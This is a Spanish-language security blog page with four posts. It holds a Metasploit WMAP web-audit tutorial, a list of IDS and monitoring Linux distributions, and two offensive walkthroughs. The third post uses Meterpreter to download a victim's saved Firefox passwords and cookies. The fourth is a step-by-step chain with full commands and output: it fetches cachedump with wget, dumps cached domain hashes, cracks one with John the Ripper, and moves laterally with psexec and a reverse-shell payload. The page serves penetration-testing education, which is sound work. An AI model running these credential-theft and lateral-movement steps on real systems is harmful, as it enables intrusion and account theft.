sábado, 26 de marzo de 2011

Auditoría de Sitios Web con el Plugin WMAP y el Módulo HTTP Crawler de Metasploit

WMAP se encuentra implementado como un plugin de Metasploit y su funcionamiento depende de tener activa una base de datos. La base de datos es utilizada para almacenar una lista de URLs objetivo al igual que para almacenar los resultados de los módulos WMAP. Para iniciar con WMAP, es necesario configurar la base de datos y se debe agregar al menos una URL objetivo. En la mayoría de los casos, se importa la información obtenida del sitio web objetivo en WMAP a través de un spider, proxy, o de un export hecho con otra herramienta. En el siguiente ejemplo utilizaremos el módulo HTTP Crawler de Metasploit Framework para agregar un objetivo y demostrar el proceso.

Debemos instalar los siguientes paquetes:
sudo apt-get install libxml-ruby libxml2-dev
sudo apt-get install libxslt-ruby libxslt-dev
sudo apt-get install libnokogiri-ruby

o también:
sudo gem install robots
sudo gem install nokogiri 
sudo gem install anemone


Iniciar Metasploit Framework

Ejecutaremos la consola de Metasploit Framework (msfconsole):
$ ./msconsole

#    # ###### #####   ##    ####  #####  #       ####  # #####
##  ## #        #    #  #  #      #    # #      #    # #   #
# ## # #####    #   #    #  ####  #    # #      #    # #   #
#    # #        #   ######      # #####  #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    #  ####  #      ######  ####  #   #


=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 669 exploits - 345 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12131 updated today (2011.03.25)

msf > 

Seleccionamos el driver de la base de datos (para este tutorial vamos a utilizar el driver sqlite3 pero también es posible utilizar el driver postgresql).
msf > db_driver sqlite3
[*] Using database driver sqlite3


Creamos la base de datos
msf> db_connect wmap_test
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don't count on it
[*] Creating a new database file...
[*] Successfully connected to the database
[*] File: wmap_test


Rastrear el objetivo

Cargamos el analizador HTTP
msf > use scanner/http/crawler
msf auxiliary(crawler) > show options

Module options (auxiliary/scanner/http/crawler):

Name         Current Setting  Required  Description
----         ---------------  --------  -----------
MAX_MINUTES  5                yes       The maximum number of minutes to spend on each URL
MAX_PAGES    500              yes       The maximum number of pages to crawl per URL
MAX_THREADS  4                yes       The maximum number of concurrent requests
Proxies                       no        Use a proxy chain
RHOST                         yes       The target address
RPORT        80               yes       The target port
URI          /                yes       The starting page to crawl
VHOST                         no        HTTP server virtual host

msf auxiliary(crawler) > 


Definir el objetivo
msf auxiliary(crawler) > set RHOST www.target.com
msf auxiliary(crawler) > set RPORT 443


Ejecutar el análisis
msf auxiliary(crawler) > run
[*] Crawling https://www.target.com
[*] [00001/00500]    200 - www.target.com - https://www.target.com/
[*]                         FORM: POST /index.asp
[*] [00002/00500]    200 - www.target.com - https://www.target.com/index.asp?lg=EN
[*]                         FORM: GET /index.asp
[*]                         FORM: POST /index.asp
[*] [00003/00500]    200 - www.target.com - https://www.target.com/index.asp?lg=FR
[*]                         FORM: GET /index.asp
[*]                         FORM: POST /index.asp
[*] [00004/00500]    200 - www.target.com - https://www.target.com/index.asp
[*]                         FORM: POST /index.asp
[*] Crawl of https://www.target.com:443/ complete
[*] Auxiliary module execution completed


Cargar el plugin WMAP
msf > load wmap
[*] [WMAP 1.0] ===  et [  ] metasploit.com 2011
[*] Successfully loaded plugin: wmap


Verificar los resultados del Crawler HTTP
msf > wmap_sites -l
Available sites
===============

Id  Host             Vhost                             Port  # Pages  # Forms
--  ----             -----                             ----  -------  -------
0   XXX.XXX.XXX.XXX  www.target.com  443   4        3

Nota: Si se requiere establecer un parámetro específico para algún módulo de prueba o sise desea cambiar el valor de una variable definida, esto puede hacerse utilizando el comando setg.

Ejemplo:
msf > setg VHOST www.target.com
msf > setg DOMAIN target.com
msf > setg EXT .asp
msf > setg WMAP_EXCLUDE_FILE


Seleccionar el objetivo
msf > wmap_targets -t www.target.com:443,XXX.XXX.XXX.XXX:443


Para visualizar los objetivos:
msf > wmap_targets -l

Defined targets
===============

Id  Vhost                             Host             Port  SSL   Path
--  -----                             ----             ----  ---   ----
0   www.target.com                    XXX.XXX.XXX.XXX  443   true  


Ejecutando módulos WMAP

Ahora que un objetivo ha sido seleccionado, se podrá obtener una lista de los módulos WMAP disponibles utilizando el comando wmap_run -t:
msf > wmap_run -t
wmap_run -t
[*] Testing target:
[*]  Site: www.target.com (XXX.XXX.XXX.XXX)
[*]  Port: 443 SSL: true
============================================================
[*] Testing started. Fri Mar 25 14:12:23 +0100 2011
=[ SSL testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/ssl ...
[*] Loaded auxiliary/scanner/http/cert ...

=[ Web Server testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/verb_auth_bypass ...
[*] Loaded auxiliary/scanner/http/robots_txt ...
[*] Loaded auxiliary/admin/http/tomcat_administration ...
[*] Loaded auxiliary/scanner/http/webdav_internal_ip ...
[*] Loaded auxiliary/scanner/http/webdav_website_content ...
[*] Loaded auxiliary/scanner/http/http_version ...
[*] Loaded auxiliary/scanner/http/frontpage_login ...
[*] Loaded auxiliary/admin/http/tomcat_utf8_traversal ...
[*] Loaded auxiliary/scanner/http/webdav_scanner ...
[*] Loaded auxiliary/scanner/http/web_vulndb ...
[*] Loaded auxiliary/scanner/http/vhost_scanner ...
[*] Loaded auxiliary/scanner/http/options ...
[*] Loaded auxiliary/scanner/http/open_proxy ...
[*] Loaded auxiliary/scanner/http/svn_scanner ...

=[ File/Dir testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/ms09_020_webdav_unicode_bypass ...
[*] Loaded auxiliary/scanner/http/files_dir ...
[*] Loaded auxiliary/scanner/http/replace_ext ...
[*] Loaded auxiliary/scanner/http/dir_webdav_unicode_bypass ...
[*] Loaded auxiliary/scanner/http/copy_of_file ...
[*] Loaded auxiliary/scanner/http/file_same_name_dir ...
[*] Loaded auxiliary/scanner/http/dir_listing ...
[*] Loaded auxiliary/scanner/http/brute_dirs ...
[*] Loaded auxiliary/scanner/http/writable ...
[*] Loaded auxiliary/scanner/http/prev_dir_same_name_file ...
[*] Loaded auxiliary/scanner/http/dir_scanner ...
[*] Loaded auxiliary/scanner/http/backup_file ...
[*] Loaded auxiliary/scanner/http/trace_axd ...

=[ Unique Query testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/error_sql_injection ...
[*] Loaded auxiliary/scanner/http/blind_sql_query ...

=[ Query testing ]=
============================================================

=[ General testing ]=
============================================================
[*] Analysis completed in 52.9915919303894 seconds.
[*] Done.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Nota:
Para consultar la ayuda: wmap_run -h

En wmap/date/ podemos encontrar varios archivos de configuración como un ejemplo del perfi, activado con wmap_run -e path/profile

Si quisiéramos limitar la prueba WMAP a un conjunto de módulos específicos, podemos utilizar un archivo de perfil.

Los perfiles pueden definirse a través de argumentos adicionales al comando wmap_run.

msf > wmap_run -e path/to/profile/file


El archivo de perfil contiene la lista de módulos a ejecutar. Para ver un ejemplo podemos consultar en data/wmap/wmap_sample.profile.


Conclusion

Para ejecutar los módulos, ejecutamos wmap_run -e:
msf > wmap_run -e
[*] Using ALL wmap enabled modules.
[*] Testing target:
[*]  Site: www.target.com (XXX.XXX.XXX.XXX)
[*]  Port: 443 SSL: true
============================================================
[*] Testing started. Fri Mar 25 14:14:33 +0100 2011


Reportes

Actualmente, los resultados del análisis WMAP son almacenados en la base de datos.
La base de datos puede utilizarse para construir herramientas personalizadas de reportes, o para hacer consultas directamente desde la consola:
msf > db_notes
[*] Time: Fri Mar 25 13:15:21 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=http.vhost data={:name=>"www.target.com"}
[*] Time: Fri Mar 25 13:15:21 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=ssl.certificate data={:cn=>"www.target.com", :subject=>[["serialNumber", "xxxxxxxxxxxxxxxxxxxxxxxxxx/xxxxx", xx], ["C", "US", 19], ["O", "www.target.com", 19], ["OU", "TX", 19], ["OU", "See www.trust.com/resources/cps (c)11", 19], ["OU", "Domain Control Validated - QuickSSL(R) Premium", 19], ["CN", "www.target.com", 19]], :algorithm=>"sha1WithRSAEncryption"}
[*] Time: Fri Mar 25 13:15:38 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=HTTP_OPTIONS data="OPTIONS, TRACE, GET, HEAD, POST"
[*] Time: Fri Mar 25 13:23:19 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/intro.htm Code: 200"
[*] Time: Fri Mar 25 13:33:15 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/css Code: 301"
[*] Time: Fri Mar 25 13:33:24 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/images Code: 301"
[*] Time: Fri Mar 25 13:33:37 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/script Code: 301"
[*] Time: Fri Mar 25 13:34:23 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/script Code: 404"
[*] Time: Fri Mar 25 13:44:58 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/css/ Code: 403"
[*] Time: Fri Mar 25 13:45:29 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/images/ Code: 403"
[*] Time: Fri Mar 25 13:46:00 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/script/ Code: 403"

msf > db_vulns
[*] Time: Fri Mar 25 13:15:40 UTC 2011 Vuln: host=XXX.XXX.XXX.XXX port=443 proto=tcp name=HTTP-TRACE-ENABLED refs=BAhbByIIQ1ZFIg4yMDA1LTMzOTg=
,BAhbByIIQ1ZFIg4yMDA1LTM0OTg=
,BAhbByIKT1NWREIiCDg3Nw==
,BAhbByIIQklEIgoxMTYwNA==
,BAhbByIIQklEIgk5NTA2
,BAhbByIIQklEIgk5NTYx

msf >


La información de la vulnerabilidad es codificada en formato base64, por lo tanto debemos decodificarla. Podremos utilizar openssl para esto.
msf > echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d
[*] exec: echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d

[CVE"2005-3398 
msf >

Ahora podemos utilizar estos datos para recolectar información mas detallada sobre la vulnerabilidad reportada.

Como pentesters, nos gustaría investigar cada hallazgo en profundidad e identificar si existen métodos para ataques potenciales.

Para obtener detalles CVE podemos utilizar Google:

miércoles, 23 de marzo de 2011

Top de Distribuciones Linux para Monitoreo de Seguridad y Redes


Insta-Snorby

Este appliance está diseñado para aquellos usuarios que desean probar Snorty (un nuevo front-end para Snort IDS) o que necesitan tener instalado de forma rápida y simple un sensor de Snort.

El appliance contiene lo siguiente:

  • Snort 2.9.0.3 – La última versión del popular Sistema de Detección de Intrusiones.
  • Barnyard 2.19 – Una aplicación que decifra los logs unified2 de Snort y los almacena en la base de datos de Snorby.
  • Snorby 2.2.1 – El front-end para el IDS Snort
  • OpenFPC – Monitoreo y captura completa de paquetes.
  • Pulled Pork 0.5 – Administrador de actualizaciones de reglas IDS

El proceso de instalación lo guiará a través de la configuración del servidor MySQL y le solicitará ingresar su "Oinkcode" el cual le permitirá descargar de forma automática las últimas reglas VTR (las firmas que potencian el IDS) desde el sitio web de Sourcefire. Las reglas Emerging Threat (otras reglas conocidas para IDS) ya se encuentran descargadas y habilitadas.




Smooth-Sec

Smooth-Sec es una distribución Linux IDS/IPS (Intrusion Detection/Prevention System) lista para correr, se encuentra basado en el motor multi-thread Suricata IDS/IPS y en Snorby. Smooth-Sec está construido sobre Ubuntu 10.04 LTS utilizando la base TurnKey Core como plataforma de desarrollo. La funcionalidad es el punto clave que permite implementar un completo sistema IDS/IPS y tenerlo listo en cuestion minutos. Muy fácil de usar para novatos en seguridad con poca experiencia en Linux.




Siem-live

SIEM-live es un sistema SIEM (Security Information and Event Management)listo para correr, basado en herramientas Open Source y Debian-live. Para recolectar los eventos ustiliza Suricata IDS/IPS, syslog como correlacionador central, OpenVAS para el análisis de vulnerabilidades y muchas otras herramientas. Las alertas y los eventos son almacenados y analizados en SIEM Prelude, también open Source. Los resultados serán accesibles a través de la interfaz web Prewikka.

SIEM-live en un live-CD booteable, el cual proporciona un sistema completamente funcional sin requerir configuraciones adicionales. También puede soportar cambios persistentes, o ser instalado en disco duro o en un dispositivo USB.

Su objetivo es proporcionar una forma fácil de implementar y probar un sistema SIEM, y poder ver rápidamente lo que está sucediendo en una red y concentrase en tratar de detectar patrones de alto nivel con la correlación de eventos. De igual forma se incluirán herramientas de visualización y generación de reportes en un futuro cercano.




Security Onion LiveDVD

Security Onion LiveDVD es un DVD bootable que contiene software utilizado para instalar, configurar y probar Sistemas de Detección de Instrusiones. Está basado en Xubuntu 10.04 y contiene Snort, Suricata, Sguil, Squert, Xplico, Nmap, Metasploit, Armitage, Scapy, Hping, Netcat, tcpreplay y muchas otras herramientas de seguridad.




Network Security Toolkit

Network Security Toolkit (NST) es un LiveCD basado en Linux que proporciona un conjunto de herramientas open source para realizar rutinas de diagnóstico en seguridad de redes y tareas de monitoreo. La distribución puede ser utilizada como una herramienta de análisis, validación y monitoreo en servidores que hospedan máquinas virtuales. 

Otras características incluyen visualizaciones de datos de Ntop, Wireshark, Traceroute y Kismet mediante la geolocalización de direcciones de host, conversación de direcciones IPv4, datos de traceroute y puntos de acceso inalámbrico que se muestran a través de Google Earth o mediante una imagen de Mercator World Map, también incluye un sistema de captura y de análisis de protocolos basado en navegador con capacidad de monitorear hasta 4 interfaces de red utilizando Wireshark, al igual que un sistema de detección de intrusiones basado en Snort con un backend colector que almacena incidentes en una base de datos MySQL.




EasyIds

EasyIDS es una distribución IDS (Intrusion Detection System) open source basada en Snort. Construida sobre CentOS y administrable a través de una interfaz web, EasyIDS deja a un lado el dolor y las frustraciones a la hora de implementar un sistema de detección de intrusiones.

Diseñado para el novato en seguridad de redes con poca experiencia en Linux, EasyIDS puede convertir casi cualquier sistema estandar x86 en un sistema de detección de intrusiones completamente funcional en tan solo 15 minutos. EasyIDS minimiza los costos de implementación y mantenimiento en seguridad de la red sin comprometer la funcionalidad y el desempeño.



Source

viernes, 4 de marzo de 2011

Obtención de contraseñas almacenadas en Firefox con Metasploit

Este módulo recolecta la credenciales que se encuentren almacenadas en el navegador Firefox si este se encuentra instalado en la máquina objetivo. Adicionalmente, descarga las cookies almacenadas, lo cual permite portencialmente establecer sesiones web válidas.

Firefox almacena las contraseñas en el archivo de base de datos signons.sqlite. También existe un archivo keys3.db el cual contiene la llave para decifrar estas contraseñas. En los casos donde la víctima no ha establecido una Contraseña Maestra, las contraseñas pueden ser decifradas fácilmente utilizando otras herramientas. Pero si Firefox tiene establecida una Contraseña Maestra, la única opción es utilizar ataques de fuerza bruta.


=[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > exit
fahrenheit:msf3 bannedit$ ruby msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started bind handler
[*] Starting the payload handler...
msf exploit(handler) > 
[*] Sending stage (749056 bytes) to 192.168.0.104
[*] Meterpreter session 1 opened (192.168.0.108:57997 -> 192.168.0.104:4444) at 2011-03-04 16:12:36 -0500
msf exploit(handler) > use post/multi/gather/firefox_creds 
msf post(firefox_creds) > set SESSION 1
SESSION => 1
msf post(firefox_creds) > run
[*] We do not have SYSTEM checking bannedit account for Firefox
[*] Checking for Firefox directory in: C:\Users\bannedit\AppData\Roaming\Mozilla\
[*] Found Firefox installed
[*] Locating Firefox Profiles...

[+] Found Profile p5g3cgsg.default
[+] Downloading cookies.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading cookies.sqlite-journal file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading key3.db file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons3.txt file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[*] Post module execution completed

W00t!

jueves, 3 de marzo de 2011

Cachedump para Meterpreter en Acción

1. Descargar:
wget http://lab.mediaservice.net/code/cachedump.rb

2. Guardar en el directorio de Metasploit (Backtrack):
mv cachedump.rb  /pentest/exploits/framework3/modules/post/windows/gather

3. Cargar la consola, hackear algo y obtener privilegios de SYSTEM, luego:
meterpreter > run post/windows/gather/cachedump
[*] Executing module against WORKSTATION244
[*] Obtaining the boot key...
[*] Trying 'XP' style...
[*] Getting PolSecretEncryptionKey...
[*] XP compatible client
[*] Lsa Key: 29249a6480f428cb6dacba2d30d5292c
[*] Getting LK$KM...
[*] Dumping cached credentials...
Username             : jdoe
Hash                 : 592cdfbc3f1ef77ae95c75f851e37166
Last login           : 2010-05-11 01:43:48
DNS Domain Name      : CONTOSO.CO
Effective Name       : jdo
Full Name            : eJane Do
User ID              : 1107
Primary Group ID     : 513
Additional groups    : 33620069 33554432 34013184
Logon domain name    : CONTOS
----------------------------------------------------------------------
[*] John the Ripper format:
jdoe:592cdfbc3f1ef77ae95c75f851e37166:CONTOSO.CO:CONTOS
[*] Hash are in MSCACHE format. (mscash)
meterpreter >

4. Romperla:
cat lab.dic | ./john --stdin lab.mscash --format=mscash --pot=lab.pot
Loaded 1 password hash (M$ Cache Hash [Generic 1x])
ASDqwe123        (jdoe)
guesses: 1  time: 0:00:00:00  c/s: 500  trying: ASDqwe123

5. Usarla:
meterpreter > background
msf exploit(handler) > route add 10.10.10.0 255.255.255.0 1
msf exploit(handler) > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(psexec) > set LPORT 80
LPORT => 80
msf exploit(psexec) > set SMBDomain Contoso

SMBDomain => Contoso
msf exploit(psexec) > set SMBUser jdoe
SMBUser => jdoe
msf exploit(psexec) > set SMBPass ASDqwe123
SMBPass => ASDqwe123
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SMBDomain  Contoso          no        The Windows domain to use for authentication
   SMBPass    ASDqwe123        no        The password for the specified username
   SMBUser    jdoe             no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     X.X.X.X          yes       The listen address
   LPORT     80               yes       The listen port
 
Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set RHOST 10.10.10.200
RHOST => 10.10.10.200
msf exploit(psexec) > exploit

[*] Started reverse handler on X.X.X.X:80
[*] Connecting to the server...
[*] Authenticating to 10.10.10.200:445|Contoso as user 'jdoe'...
[*] Uploading payload...
[*] Created \jSlxARUj.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (SyHtwKpn - "MbEXNupOpYUL")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \jSlxARUj.exe...
[*] Meterpreter session 2 opened (X.X.X.X:80 -> X.X.X.X:54430) at Mon Feb 14 22:23:00 +0000 2011

Woot ;-)

Cross-posted translation from Room362